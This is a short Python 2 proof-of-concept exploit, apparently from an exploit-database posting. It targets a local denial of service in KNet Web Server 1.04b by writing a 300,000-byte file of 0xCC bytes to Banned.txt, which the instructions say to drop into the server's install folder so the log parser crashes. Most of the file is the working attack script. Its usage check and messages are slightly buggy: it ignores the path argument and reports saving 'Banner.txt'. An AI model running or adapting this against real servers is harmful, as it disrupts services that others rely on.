#!/usr/bin/python
# Exploit Title   : KNet Web Server 1.04b Local Denial Of Service
# Date      : 6 Jun 2013
# Exploit Author  : ne0z
# Vendor Homepage  : http://www.hatsecure.com
# Version    : KNet Web Server 1.04b
# Tested on    : Windows XP Profesional SP3
#        Windows XP Profesional SP2
#        Windows 7 Ultimate
#
# Description :
# KNet Web Server have banned log with location C:\\Program Files\KNet\Banned.txt
# The parser of the banned log is vulnerable, when size of content in Banned.txt more than 200 KB
# and then KNet Web Server will crash.
#
# To generate Banned.txt just simple (Windows)
# $ python KNet_DOS_exploit.py C://
#
# Then move the file from C:\\Banned.txt to  C:\\Program Files\KNet\Banned.txt

import sys, os

arg = sys.argv

if (len(arg) < 1):
  print "KNet v1.04b - Local DOS exploit"
  print "Usage : "
  print "$ python "+arg[0]+" [PATH]"
  print "Example : "
  print "$ python "+arg[0]
  sys.exit(0)

try:
  print "[X] Generate payload"
  d = open("Banned.txt","w")
  payload = "\xCC" * 300000
  d.write(payload)
  d.close()
  print "[X] Saved to Banner.txt"
except:
  print "Error"